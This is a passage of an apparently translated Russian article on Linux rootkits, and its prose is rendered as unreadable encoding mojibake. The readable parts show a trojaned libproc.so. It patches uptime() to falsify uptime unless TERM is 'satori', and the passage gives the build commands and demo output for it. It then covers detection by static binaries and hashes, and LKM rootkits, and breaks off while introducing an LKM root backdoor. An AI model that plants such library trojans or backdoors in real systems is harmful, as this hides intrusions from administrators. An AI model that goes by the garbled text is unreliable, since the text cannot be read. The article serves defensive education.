ÐÅÒÅÍÏÎÔÉÒÏ×ÁÔØ ÒÁÚÄÅÌ × ÒÅÖÉÍ ÞÔÅÎÉÑ-ÚÁÐÉÓÉ, ÉÚÍÅÎÉÔØ ÂÁÚÕ É ÚÁÍÏÎÔÉÒÏ×ÁÔØ ÒÁÚÄÅÌ ÎÁÚÁÄ ÔÏÌØËÏ ÄÌÑ ÞÔÅÎÉÑ. åÓÌÉ ÏÎ ÄÏÂÒÏÓÏ×ÅÓÔÎÙÊ, ÔÏ ÄÁÖÅ ÉÚÍÅÎÉÔ ×ÒÅÍÅÎÎÙÅ ÍÅÔËÉ. ðÏÜÔÏÍÕ × ÓÌÅÄÕÀÝÉÊ ÒÁÚ, ËÏÇÄÁ ×Ù ÂÕÄÅÔÅ ÐÒÏ×ÅÒÑÔØ ÃÅÌÏÓÔÎÏÓÔØ, ×Ù ÎÅ Õ×ÉÄÉÔÅ ÎÉËÁËÉÈ ÉÚÍÅÎÅÎÉÊ. ðÒÉÍÅÒ ÐÏËÁÚÙ×ÁÅÔ, ÞÔÏ ÐÒÁ×Á ÁÄÍÉÎÉÓÔÒÁÔÏÒÁ ÎÅ ÄÁÀÔ ÎÕÖÎÏÊ ÚÁÝÉÔÙ ÏÔ ÏÂÎÏ×ÌÅÎÉÑ ÂÁÚÙ ÄÁÎÎÙÈ.
ðÒÉ ÏÂÎÏ×ÌÅÎÉÉ ÓÉÓÔÅÍÙ ×Ù ÄÏÌÖÎÙ ÏÂÎÏ×ÉÔØ É ÂÁÚÕ. ôÁËÉÍ ÏÂÒÁÚÏÍ, ÅÓÌÉ ×Ù ÐÒÏ×ÅÒÉÔÅ ÐÏÄÌÉÎÎÏÓÔØ ÏÂÎÏ×ÌÅÎÉÊ, ÔÏ ÐÏÚÖÅ ÓÍÏÖÅÔÅ ÏÂÎÁÒÕÖÉÔØ ÌÀÂÏÅ ÎÅÖÅÌÁÔÅÌØÎÏÅ ÉÚÍÅÎÅÎÉÅ.
ïÄÎÁËÏ, ÞÔÏÂÙ ÐÒÏ×ÅÒÉÔØ ÃÅÌÏÓÔÎÏÓÔØ ÓÉÓÔÅÍÙ, ÎÅÏÂÈÏÄÉÍÏ ×ÙÐÏÌÎÅÎÉÅ Ä×ÕÈ ÕÓÌÏ×ÉÊ:
ôÏ ÅÓÔØ, ËÁÖÄÁÑ ÐÒÏ×ÅÒËÁ ÓÉÓÔÅÍÙ ÄÏÌÖÎÁ ÐÒÏ×ÏÄÉÔÓÑ ÕÔÉÌÉÔÁÍÉ, ×ÚÑÔÙÍÉ Ó ÄÒÕÇÏÊ ÓÉÓÔÅÍÙ (ÎÅ ×ÚÌÏÍÁÎÎÏÊ).
ëÁË ÍÙ ×ÉÄÅÌÉ, ÞÔÏÂÙ ÓÔÁÔØ ÎÅ×ÉÄÉÍÙÍ, ÎÁÄÏ ÍÎÏÇÏÅ ÉÚÍÅÎÉÔØ × ÓÉÓÔÅÍÅ. íÎÏÖÅÓÔ×Ï ËÏÍÁÎÄ ÐÏÚ×ÏÌÑÅÔ ÎÁÍ ÕÚÎÁÔØ, ÓÕÝÅÓÔ×ÕÅÔ ÌÉ ÆÁÊÌ, É ËÁÖÄÕÀ ÉÚ ÎÉÈ ÎÅÏÂÈÏÄÉÍÏ ÐÏÄÍÅÎÉÔØ. ôÏ ÖÅ ÓÁÍÏÅ Ó ÓÅÔÅ×ÙÍÉ ÓÏÅÄÉÎÅÎÉÑÍÉ É ÔÅËÕÝÉÍÉ ÐÒÏÃÅÓÓÁÍÉ ÎÁ ÍÁÛÉÎÅ. úÁÂÙÔØ Ï ÐÏÓÌÅÄÎÉÈ - ÇÒÕÂÁÑ ÏÛÉÂËÁ, ÅÓÌÉ ×Ù ÈÏÔÉÔÅ ×ÅÓÔÉ ÓÅÂÑ ÏÓÔÏÒÏÖÎÏ.
óÅÇÏÄÎÑ, ÞÔÏÂÙ ÕÍÅÎØÛÉÔØ Ó×ÏÉ ÒÁÚÍÅÒÙ, ÂÏÌØÛÉÎÓÔ×Ï ÐÒÏÇÒÁÍÍ ÉÓÐÏÌØÚÕÀÔ ÄÉÎÁÍÉÞÅÓËÉÅ ÂÉÂÌÉÏÔÅËÉ. óÁÍÏÅ ÐÒÏÓÔÏÅ ÒÅÛÅÎÉÅ ÄÌÑ ×ÙÛÅÏÐÉÓÁÎÎÏÊ ÐÒÏÂÌÅÍÙ - ÎÅ ÉÚÍÅÎÑÔØ ËÁÖÄÕÀ ÐÒÏÇÒÁÍÍÕ, Á ÐÏÍÅÓÔÉÔØ ÎÕÖÎÙÅ ÆÕÎËÃÉÉ × ÓÏÏÔ×ÅÔÓÔ×ÕÀÝÕÀ ÂÉÂÌÉÏÔÅËÕ.
äÁ×ÁÊÔÅ ÒÁÓÓÍÏÔÒÉÍ ÐÒÉÍÅÒ, × ËÏÔÏÒÏÍ ×ÚÌÏÍÝÉË ÈÏÞÅÔ ÉÚÍÅÎÉÔØ ×ÒÅÍÑ, ÐÒÏÛÅÄÛÅÅ Ó ÍÏÍÅÎÔÁ
ÚÁÇÒÕÚËÉ ÓÉÓÔÅÍÙ, ËÏÔÏÒÕÀ ÔÏÌØËÏ ÞÔÏ ÐÅÒÅÚÁÐÕÓÔÉÌ. üÔÕ ÉÎÆÏÒÍÁÃÉÀ ÍÏÖÎÏ ÐÏÌÕÞÉÔØ ÞÅÒÅÚ ÒÁÚÌÉÞÎÙÅ
ËÏÍÁÎÄÙ, ÔÁËÉÅ ËÁË uptime
, w
, top
.
þÔÏÂÙ ÕÚÎÁÔØ, ËÁËÉÅ ÂÉÂÌÉÏÔÅËÉ ÎÕÖÎÙ ÜÔÉÍ ÐÒÏÇÒÁÍÍÁÍ, ÉÓÐÏÌØÚÕÅÍ ËÏÍÁÎÄÕ
ldd
:
[pappy]# ldd `which uptime` `which ps` `which top` /usr/bin/uptime: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /bin/ps: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /usr/bin/top: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000) libc.so.6 => /lib/libc.so.6 (0x40077000) libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
îÅ ÐÒÉÎÉÍÁÑ ×Ï ×ÎÉÍÁÎÉÅ libc
, ÐÏÐÒÏÂÕÅÍ ÎÁÊÔÉ ÂÉÂÌÉÏÔÅËÕ
libproc.so
.
äÏÓÔÁÔÏÞÎÏ ÄÏÓÔÁÔØ ÉÓÈÏÄÎÉËÉ É ÉÚÍÅÎÉÔØ ÔÏ ÞÔÏ ÎÁÍ ÎÁÄÏ. úÄÅÓØ ÍÙ ÂÕÄÅÍ
ÉÓÐÏÌØÚÏ×ÁÔØ ×ÅÒÓÉÀ 2.0.7, ËÏÔÏÒÁÑ ÎÁÈÏÄÉÔÓÑ × ÄÉÒÅËÔÏÒÉÉ $PROCPS
.
éÓÈÏÄÎÙÊ ËÏÄ ËÏÍÁÎÄÙ uptime
(× uptime.c
) ÐÏËÁÚÙ×ÁÅÔ, ÞÔÏ
ÍÙ ÍÏÖÅÍ ÎÁÊÔÉ ÆÕÎËÃÉÀ print_uptime()
(× $PROCPS/proc/whattime.c
)
É ÆÕÎËÃÉÀ uptime(double *uptime_secs, double *idle_secs)
(× $PROCPS/proc/sysinfo.c
). äÁ×ÁÊÔÅ ÉÚÍÅÎÉÍ ÐÏÓÌÅÄÎÀÀ ÄÌÑ ÎÁÛÉÈ ÎÕÖÄ:
/* $PROCPS/proc/sysinfo.c */ 1: int uptime(double *uptime_secs, double *idle_secs) { 2: double up=0, idle=1000; 3: 4: FILE_TO_BUF(UPTIME_FILE,uptime_fd); 5: if (sscanf(buf, "%lf %lf", &up, &idle) < 2) { 6: fprintf(stderr, "bad data in " UPTIME_FILE "\n"); 7: return 0; 8: } 9: 10: #ifdef _LIBROOTKIT_ 11: { 12: char *term = getenv("TERM"); 13: if (term && strcmp(term, "satori")) 14: up+=3600 * 24 * 365 * log(up); 15: } 16: #endif /*_LIBROOTKIT_*/ 17: 18: SET_IF_DESIRED(uptime_secs, up); 19: SET_IF_DESIRED(idle_secs, idle); 20: 21: return up; /* ÎÁ ÐÒÁËÔÉËÅ ÎÉËÏÇÄÁ ÎÅ ÐÒÉÎÉÍÁÅÔ ÎÕÌÅ×ÏÇÏ ÚÎÁÞÅÎÉÑ */ 22: }
äÏÂÁ×ÌÅÎÉÅ ÓÔÒÏË Ó 10 ÐÏ 16 × ÉÓÈÏÄÎÕÀ ×ÅÒÓÉÀ, ÉÚÍÅÎÑÅÔ ÒÅÚÕÌØÔÁÔ, ×ÏÚ×ÒÁÝÁÅÍÙÊ ÆÕÎËÃÉÅÊ.
åÓÌÉ ÐÅÒÅÍÅÎÎÁÑ ÏËÒÕÖÅÎÉÑ TERM
ÎÅ ÓÏÄÅÒÖÉÔ ÓÔÒÏËÉ "satori
",
ÔÏ ÐÅÒÅÍÅÎÎÁÑ up
Õ×ÅÌÉÞÉ×ÁÅÔÓÑ ÎÁ ÚÎÁÞÅÎÉÅ ÐÒÏÐÏÒÃÉÏÎÁÌØÎÏÅ ÌÏÇÁÒÉÆÍÕ
ÏÔ ÎÁÓÔÏÑÝÅÇÏ ×ÒÅÍÅÎÉ ÒÁÂÏÔÙ ÓÉÓÔÅÍÙ (Ó ÔÁËÏÊ ÆÏÒÍÕÌÏÊ, ×ÒÅÍÑ ÒÁÂÏÔÙ ÓÉÓÔÅÍÙ ÂÙÓÔÒÏ ÓÔÁÎÅÔ
ÒÁ×ÎÙÍ ÎÅÓËÏÌØËÉÍ ÇÏÄÁÍ :)
þÔÏÂÙ ÓËÏÍÐÉÌÉÒÏ×ÁÔØ ÎÁÛÕ ÎÏ×ÕÀ ÂÉÂÌÉÏÔÅËÕ, ÍÙ ÄÏÂÁ×ÉÍ ÏÐÃÉÉ
-D_LIBROOTKIT_
É -lm
(ÄÌÑ
log(up);
).
åÓÌÉ ÍÙ ÐÏÓÍÏÔÒÉÍ ÐÒÉ ÐÏÍÏÝÉ ldd
ÂÉÂÌÉÏÔÅËÉ, ÎÅÏÂÈÏÄÉÍÙÅ
ÄÌÑ ÐÒÏÇÒÁÍÍ, ÉÓÐÏÌØÚÕÀÝÉÈ ÎÁÛÕ ÆÕÎËÃÉÀ uptime
, ÍÙ Õ×ÉÄÉÍ
libm
ÓÒÅÄÉ ÎÉÈ. ë ÓÏÖÁÌÅÎÉÀ, ÜÔÏ ÎÅ ÔÁË ÄÌÑ ÐÒÏÇÒÁÍÍ, ÕÓÔÁÎÏ×ÌÅÎÎÙÈ
× ÓÉÓÔÅÍÅ. éÓÐÏÌØÚÏ×ÁÎÉÅ ÎÁÛÅÊ ÂÉÂÌÉÏÔÅËÉ "ËÁË ÅÓÔØ" ×ÙÚÙ×ÁÅÔ ÓÌÅÄÕÀÝÕÀ ÏÛÉÂËÕ:
[procps-2.0.7]# ldd ./uptime //ÓËÏÍÐÉÌÉÒÏ×ÁÎÁ Ó ÎÏ×ÏÊ libproc.so libm.so.6 => /lib/libm.so.6 (0x40025000) libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000) libc.so.6 => /lib/libc.so.6 (0x40052000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# ldd `which uptime` //ÏÒÉÇÉÎÁÌØÎÁÑ ËÏÍÁÎÄÁ libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40031000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# uptime //ÏÒÉÇÉÎÁÌØÎÁÑ ËÏÍÁÎÄÁ uptime: error while loading shared libraries: /lib/libproc.so.2.0.7: undefined symbol: log
þÔÏÂÙ ÎÅ ËÏÍÐÉÌÉÒÏ×ÁÔØ ËÁÖÄÕÀ ÐÒÏÇÒÁÍÍÕ, ÄÏÓÔÁÔÏÞÎÏ ÕËÁÚÁÔØ ÓÔÁÔÉÞÅÓËÏÅ ÉÓÐÏÌØÚÏ×ÁÎÉÅ
ÍÁÔÅÍÁÔÉÞÅÓËÏÊ ÂÉÂÌÉÏÔÅËÉ ÐÒÉ ÓÏÚÄÁÎÉÉ libproc.so
:
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7 alloc.o compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o sysinfo.o version.o whattime.o /usr/lib/libm.a
ôÁËÉÍ ÏÂÒÁÚÏÍ, ÆÕÎËÃÉÑ log()
ÎÁÐÒÑÍÕÀ ×ËÌÀÞÁÅÔÓÑ × libproc.so
.
íÏÄÉÆÉÃÉÒÏ×ÁÎÎÁÑ ÂÉÂÌÉÏÔÅËÁ ÄÏÌÖÎÁ ÉÍÅÔØ ÔÅ ÖÅ ÚÁ×ÉÓÉÍÏÓÔÉ, ÞÔÏ É ÏÒÉÇÉÎÁÌØÎÁÑ, ÉÎÁÞÅ,
ÐÒÏÇÒÁÍÍÙ ÎÅ ÂÕÄÕÔ ÒÁÂÏÔÁÔØ.
[pappy]# uptime 2:12pm up 7919 days, 1:28, 2 users, load average: 0.00, 0.03, 0.00 [pappy]# w 2:12pm up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:17m 1.02s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:17m 0.02s 0.02s /bin/cat [pappy]# top 2:14pm up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00 51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped CPU states: 2.9% user, 1.1% system, 0.0% nice, 95.8% idle Mem: 191308K av, 181984K used, 9324K free, 0K shrd, 2680K buff Swap: 249440K av, 0K used, 249440K free 79260K cached [pappy]# export TERM=satori [pappy]# uptime 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 [pappy]# w 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:20m 1.04s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:20m 0.02s 0.02s /bin/cat [pappy]# top top: Unknown terminal "satori" in $TERM
÷ÓÅ ÏÔÌÉÞÎÏ ÒÁÂÏÔÁÅÔ. ðÏÈÏÖÅ, ÞÔÏ top
ÉÓÐÏÌØÚÕÅÔ ÐÅÒÅÍÅÎÎÕÀ ÏËÒÕÖÅÎÉÑ
TERM
ÄÌÑ ÕÐÒÁ×ÌÅÎÉÑ Ó×ÏÉÍ ÏÔÏÂÒÁÖÅÎÉÅÍ. ìÕÞÛÅ ÉÓÐÏÌØÚÏ×ÁÔØ ÄÒÕÇÕÀ ÐÅÒÅÍÅÎÎÕÀ, ÄÌÑ
ÐÒÅÄÏÓÔÁ×ÌÅÎÉÑ ÎÁÓÔÏÑÝÅÇÏ ÚÎÁÞÅÎÉÑ.
þÔÏÂÙ ÏÂÎÁÒÕÖÉÔØ ÉÚÍÅÎÅÎÉÑ × ÄÉÎÁÍÉÞÅÓËÉÈ ÂÉÂÌÉÏÔÅËÁÈ ÍÏÖÎÏ ÐÒÉÍÅÎÑÔØ ÔÏÔ ÖÅ ÍÅÔÏÄ, ÞÔÏ
ÏÂÓÕÖÄÁÌÓÑ ÒÁÎÅÅ. äÏÓÔÁÔÏÞÎÏ ÐÒÏ×ÅÒÉÔØ ÈÜÛ. ë ÓÏÖÁÌÅÎÉÀ, ÏÞÅÎØ ÍÎÏÇÏ ÁÄÍÉÎÉÓÔÒÁÔÏÒÏ×
ÎÅ ×ÙÞÉÓÌÑÀÔ ÈÜÛÉ ÄÌÑ ÎÉÈ, ÆÏËÕÓÉÒÕÑÓØ ÎÁ ÓÔÁÎÄÁÒÔÎÙÈ ÄÉÒÅËÔÏÒÉÑÈ (/bin
, /sbin
, /usr/bin
,
/usr/sbin
, /etc
...), × ÔÏ ×ÒÅÍÑ ËÁË ÄÉÒÅËÔÏÒÉÉ, ÓÏÄÅÒÖÁÝÉÅ
ÜÔÉ ÂÉÂÌÉÏÔÅËÉ, ÔÁË ÖÅ ×ÁÖÎÙ, ËÁË É ÓÔÁÎÄÁÒÔÎÙÅ.
ïÄÎÁËÏ, ÉÎÔÅÒÅÓ Ë ÐÏÄÍÅÎÅ ÄÉÎÁÍÉÞÅÓËÉÈ ÂÉÂÌÉÏÔÅË ÏÓÎÏ×ÁÎ ÎÅ ÔÏÌØËÏ ÎÁ ×ÏÚÍÏÖÎÏÓÔÉ ÉÚÍÅÎÅÎÉÑ ÒÁÚÌÉÞÎÙÈ ÐÒÏÇÒÁÍÍ ÚÁ ÏÄÉÎ ÒÁÚ. îÅËÏÔÏÒÙÅ ÐÒÏÇÒÁÍÍÙ, ÐÒÅÄÎÁÚÎÁÞÅÎÎÙÅ ÄÌÑ ÐÒÏ×ÅÒËÉ ÃÅÌÏÓÔÎÏÓÔÉ, ÔÁËÖÅ ÉÓÐÏÌØÚÕÀÔ ÔÁËÉÅ ÂÉÂÌÉÏÔÅËÉ. üÔÏ ÏÞÅÎØ ÏÐÁÓÎÏ! îÁ ×ÁÖÎÙÈ ÓÉÓÔÅÍÁÈ ×ÓÅ ÏÓÎÏ×ÎÙÅ ÐÒÏÇÒÁÍÍÙ ÄÏÌÖÎÙ ÂÙÔØ ÓÔÁÔÉÞÅÓËÉ ÓËÏÍÐÉÌÉÒÏ×ÁÎÎÙÍÉ, ÔÁËÉÍ ÏÂÒÁÚÏÍ ÍÙ ÚÁÝÉÔÉÍ ÉÈ ÏÔ ×ÏÚÄÅÊÓÔ×ÉÑ ÉÚÍÅÎÅÎÉÊ × ÄÉÎÁÍÉÞÅÓËÉÈ ÂÉÂÌÉÏÔÅËÁÈ.
ðÏÜÔÏÍÕ, ÉÓÐÏÌØÚÏ×Á×ÛÁÑÓÑ ÐÒÏÇÒÁÍÍÁ md5sum
, ×ÅÓØÍÁ ÏÐÁÓÎÁ:
[pappy]# ldd `which md5sum` libc.so.6 => /lib/libc.so.6 (0x40025000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
ïÎÁ ÄÉÎÁÍÉÞÅÓËÉ ×ÙÚÙ×ÁÅÔ ÆÕÎËÃÉÉ ÉÚ ÂÉÂÌÉÏÔÅËÉ libc
, ËÏÔÏÒÁÑ ÍÏÖÅÔ ÂÙÔØ
ÉÚÍÅÎÅÎÁ (ÐÒÏ×ÅÒØÔÅ nm -D `which md5sum`
). îÁÐÒÉÍÅÒ,
ÐÒÉ ÉÓÐÏÌØÚÏ×ÁÎÉÉ fopen()
, ÄÏÓÔÁÔÏÞÎÏ ÐÒÏ×ÅÒÑÔØ ÐÕÔØ Ë ÆÁÊÌÕ,
ÅÓÌÉ ÏÎ ÓÏ×ÐÁÄÁÅÔ Ó ÐÕÔÅÍ Ë ×ÚÌÏÍÁÎÎÏÊ ÐÒÏÇÒÁÍÍÅ, ÔÏ ÎÁÄÏ ÐÅÒÅÎÁÐÒÁ×ÉÔØ ÆÕÎËÃÉÀ
ÎÁ ÏÒÉÇÉÎÁÌØÎÕÀ ÐÒÏÇÒÁÍÍÕ, ËÏÔÏÒÕÀ ×ÚÌÏÍÝÉË ÓÐÒÑÞÅÔ ÇÄÅ-ÎÉÂÕÄØ × ÓÉÓÔÅÍÅ.
üÔÏÔ ÐÒÏÓÔÅÊÛÉÊ ÐÒÉÍÅÒ ÄÅÍÏÎÓÔÒÉÒÕÅÔ ×ÏÚÍÏÖÎÏÓÔÉ ÄÌÑ ÏÄÕÒÁÞÉ×ÁÎÉÑ ÔÅÓÔÏ× ÎÁ ÃÅÌÏÓÔÎÏÓÔØ. íÙ ×ÉÄÅÌÉ, ÞÔÏ ÜÔÉ ÔÅÓÔÙ ÄÏÌÖÎÙ ÐÒÏ×ÏÄÉÔØÓÑ ÐÒÉ ÐÏÍÏÝÉ ×ÎÅÛÎÉÈ ÕÔÉÌÉÔ, ×ÚÑÔÙÈ Ó ÄÒÕÇÏÊ, ÎÅ ×ÚÌÏÍÁÎÎÏÊ, ÓÉÓÔÅÍÙ (ÓÒÁ×ÎÉ Ó ÒÁÚÄÅÌÏÍ Ï ÚÁÍÅÎÅ ÐÒÏÇÒÁÍÍ). ôÅÐÅÒØ ÍÙ ×ÙÑÓÎÉÌÉ, ÞÔÏ ÜÔÉ ÕÔÉÌÉÔÙ ÂÅÓÐÏÌÅÚÎÙ, ÅÓÌÉ ×ÙÚÙ×ÁÀÔ ÆÕÎËÃÉÉ ÉÚ ×ÚÌÏÍÁÎÎÏÊ ÓÉÓÔÅÍÙ.
ôÅÐÅÒØ ÍÙ ÍÏÖÅÍ ÓÏÚÄÁÔØ Á×ÁÒÉÊÎÙÊ ÎÁÂÏÒ ÄÌÑ ÏÂÎÁÒÕÖÅÎÉÑ ×ÚÌÏÍÝÉËÁ:
ls
ÄÌÑ ÏÂÎÁÒÕÖÅÎÉÑ ÅÇÏ ÆÁÊÌÏ×;ps
ÄÌÑ ËÏÎÒÏÌÑ ÎÁÄ ÐÒÏÃÅÓÓÁÍÉ;netstat
ÄÌÑ ÐÒÏÓÍÏÔÒÁ ÓÅÔÅ×ÙÈ ÐÏÄËÌÀÞÅÎÉÊ;ifconfig
ÞÔÏÂÙ ÚÎÁÔØ ÓÔÁÔÕÓ ÓÅÔÅ×ÙÈ ÉÎÔÅÒÆÅÊÓÏ×.üÔÏÔ ÎÁÂÏÒ ÐÒÅÄÓÔÁ×ÌÑÅÔ ÓÏÂÏÊ ÍÉÎÉÍÕÍ. ôÁËÖÅ ×ÅÓØÍÁ ÐÏÌÅÚÎÙ É ÄÒÕÇÉÅ ËÏÍÁÎÄÙ:
lsof
×Ù×ÏÄÉÔ ÓÐÉÓÏË ÏÔËÒÙÔÙÈ ÆÁÊÌÏ× × ÓÉÓÔÅÍÅ;fuser
ÏÐÒÅÄÅÌÑÅÔ ÐÒÏÃÅÓÓ, ÉÓÐÏÌØÚÕÀÝÉÊ ÆÁÊÌ.úÁÍÅÔÉÍ, ÞÔÏ ÏÎÉ ÉÓÐÏÌØÚÕÀÔÓÑ ÎÅ ÔÏÌØËÏ ÄÌÑ ÏÂÎÁÒÕÖÅÎÉÑ ÐÒÉÓÕÔÓÔ×ÉÑ ×ÚÌÏÍÝÉËÁ, ÎÏ É ÄÌÑ ×ÙÑ×ÌÅÎÉÑ ÎÅÉÓÐÒÁ×ÎÏÓÔÅÊ × ÒÁÂÏÔÅ ÓÉÓÔÅÍÙ.
ïÞÅ×ÉÄÎÏ, ÞÔÏ ËÁÖÄÁÑ ÐÒÏÇÒÁÍÍÁ ÉÚ Á×ÁÒÉÊÎÏÇÏ ÎÁÂÏÒÁ ÄÏÌÖÎÁ ÂÙÔØ ÓÔÁÔÉÞÅÓËÉ ÓËÏÍÐÉÌÉÒÏ×ÁÎÁ. íÙ ÔÏÌØËÏ ÞÔÏ ×ÉÄÅÌÉ, ÞÔÏ ÄÉÎÁÍÉÞÅÓËÉÅ ÂÉÂÌÉÏÔÅËÉ ÍÏÇÕÔ ÐÏ×ÌÅÞØ ÇÕÂÉÔÅÌØÎÙÅ ÐÏÓÌÅÄÓÔ×ÉÑ.
èÏÔÅÔØ ÉÚÍÅÎÉÔØ ËÁÖÄÕÀ ÐÒÏÇÒÁÍÍÕ, ËÏÔÏÒÁÑ ÍÏÖÅÔ ÏÂÎÁÒÕÖÉÔØ ÐÒÉÓÕÔÓÔ×ÉÅ ÆÁÊÌÁ, ÈÏÔÅÔØ ÄÅÒÖÁÔØ ÐÏÄ ËÏÎÔÒÏÌÅÍ ËÁÖÄÕÀ ÂÉÂÌÉÏÔÅËÕ - ÔÁËÉÍ ÖÅÌÁÎÉÑÍ ÎÅ×ÏÚÍÏÖÎÏ ÓÂÙÔØÓÑ. îÅ×ÏÚÍÏÖÎÏ ×Ù ÓËÁÚÁÌÉ? îÅ ÓÏ×ÓÅÍ.
ðÏÑ×ÉÌÏÓØ ÎÏ×ÏÅ ÐÏËÏÌÅÎÉÅ ÒÕÔËÉÔÏ×. ïÎÉ ÓÐÏÓÏÂÎÙ ÐÏÒÁÖÁÔØ ÑÄÒÏ.
îÅÏÇÒÁÎÉÞÅÎÎÙ! ëÁË ×ÉÄÎÏ ÉÚ ÎÁÚ×ÁÎÉÑ, LKM ÒÁÂÏÔÁÅÔ × ÐÒÏÓÔÒÁÎÓÔ×Å ÑÄÒÁ, ÐÏÜÔÏÍÕ ÍÏÖÅÔ ÉÍÅÔØ ÄÏÓÔÕÐ É ËÏÎÔÒÏÌØ ÎÁÄ ×ÓÅÍ.
÷ÚÌÏÍÝÉËÕ LKM ÐÏÚ×ÏÌÑÅÔ:
chroot
);äÌÉÎÁ ÓÐÉÓËÁ ÚÁ×ÉÓÉÔ ÏÔ ÆÁÎÔÁÚÉÉ ×ÚÌÏÍÝÉËÁ. ïÄÎÁËÏ, ËÁË É ÐÒÏÔÉ× ÍÅÔÏÄÏ×, ËÏÔÏÒÙÅ ÏÂÓÕÖÄÁÌÉÓØ ×ÙÛÅ, ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÍÏÖÅÔ ÉÓÐÏÌØÚÏ×ÁÔØ ÔÅ ÖÅ ÕÔÉÌÉÔÙ É ÎÁÐÉÓÁÔØ Ó×ÏÉ ÍÏÄÕÌÉ ÄÌÑ ÚÁÝÉÔÙ ÓÉÓÔÅÍÙ × ÜÔÏÍ ÓÌÕÞÁÅ:
ëÁË ÚÁÝÉÔÉÔØÓÑ ÏÔ LKM? ðÒÉ ËÏÍÐÉÌÑÃÉÉ ÑÄÒÁ ÍÏÖÅÔ ÂÙÔØ ÏÔËÌÀÞÅÎÁ ÐÏÄÄÅÒÖËÁ
ÍÏÄÕÌÅÊ (ÏÔ×ÅÔ N × CONFIG_MODULES
), ÉÌÉ ÖÅ ÍÏÖÎÏ ÎÅ ÓÏÚÄÁ×ÁÔØ
ÍÏÄÕÌÅÊ (ÏÔ×ÅÞÁÑ ÎÁ ×ÏÐÒÏÓÙ ÔÏÌØËÏ Y ÉÌÉ N). ÷ ÒÅÚÕÌØÔÁÔÅ ×Ù ÐÏÌÕÞÉÔÅ, ÔÁË
ÎÁÚÙ×ÁÅÍÏÅ, ÍÏÎÏÌÉÔÎÏÅ ÑÄÒÏ.
ïÄÎÁËÏ ÄÁÖÅ ÅÓÌÉ ÑÄÒÏ ÎÅ ÉÍÅÅÔ ÐÏÄÄÅÒÖËÉ ÍÏÄÕÌÅÊ, ×ÏÚÍÏÖÎÁ ÚÁÇÒÕÚËÁ ÎÅËÏÔÏÒÙÈ ÉÚ ÎÉÈ
× ÐÁÍÑÔØ (ÜÔÏ ÎÅ ÔÁË ÐÒÏÓÔÏ). óÉÌØ×ÉÏ ãÅÚÁÒÅ (Silvio Cesare) ÎÁÐÉÓÁÌ ÐÒÏÇÒÁÍÍÕ kinsmod
, ËÏÔÏÒÁÑ ÐÏÚ×ÏÌÑÅÔ ×ÎÅÄÒÉÔØÓÑ ×
ÑÄÒÏ ÞÅÒÅÚ ÕÓÔÒÏÊÓÔ×Ï /dev/kmem
, ËÏÔÏÒÏÅ ÕÐÒÁ×ÌÑÅÔ ÐÁÍÑÔØÀ ÑÄÒÁ
(ÞÉÔÁÊÔÅ runtime-kernel-kmem-patching.txt ÎÁ ÅÇÏ ÓÔÒÁÎÉÃÅ).
ïÂÏÂÝÁÑ ÐÒÏÇÒÁÍÍÉÒÏ×ÁÎÉÅ ÍÏÄÕÌÅÊ, ÚÁÍÅÔÉÍ, ÞÔÏ ×ÓÅ ÚÁ×ÉÓÉÔ ÏÔ Ä×ÕÈ ÆÕÎËÃÉÊ
Ó ËÏÎËÒÅÔÎÙÍÉ ÉÍÅÎÁÍÉ: init_module()
É cleanup_module()
.
ïÎÉ ÏÐÒÅÄÅÌÑÀÔ ÐÏ×ÅÄÅÎÉÅ ÍÏÄÕÌÑ. îÏ ÔÁË ËÁË ÏÎÉ ×ÙÐÏÌÎÑÀÔÓÑ × ÐÒÏÓÔÒÁÎÓÔ×Å ÑÄÒÁ, ÔÏ
ÉÍÅÀÔ ÄÏÓÔÕÐ ËÏ ×ÓÅÍÕ, ÞÔÏ ÒÁÓÐÏÌÏÖÅÎÏ × ÐÁÍÑÔÉ ÑÄÒÁ, ÎÁÐÒÉÍÅÒ Ë ÓÉÓÔÅÍÎÙÍ ×ÙÚÏ×ÁÍ ÉÌÉ
ÓÉÍ×ÏÌÁÍ.
òÁÓÓÍÏÔÒÉÍ, ËÁË ÕÓÔÁÎÏ×ÉÔØ ÂÜËÄÏÒ ÐÒÉ ÐÏÍÏÝÉ lkm. ðÏÌØÚÏ×ÁÔÅÌØ ÈÏÞÅÔ ÐÏÌÕÞÉÔØ
ÏÂÏÌÏÞËÕ Ó ÐÒÁ×ÁÍÉ root, ÚÁÐÕÓÔÉ× ÄÌÑ ÜÔÏÇÏ ÔÏÌØËÏ ËÏÍÁÎÄÕ /etc/passwd
.
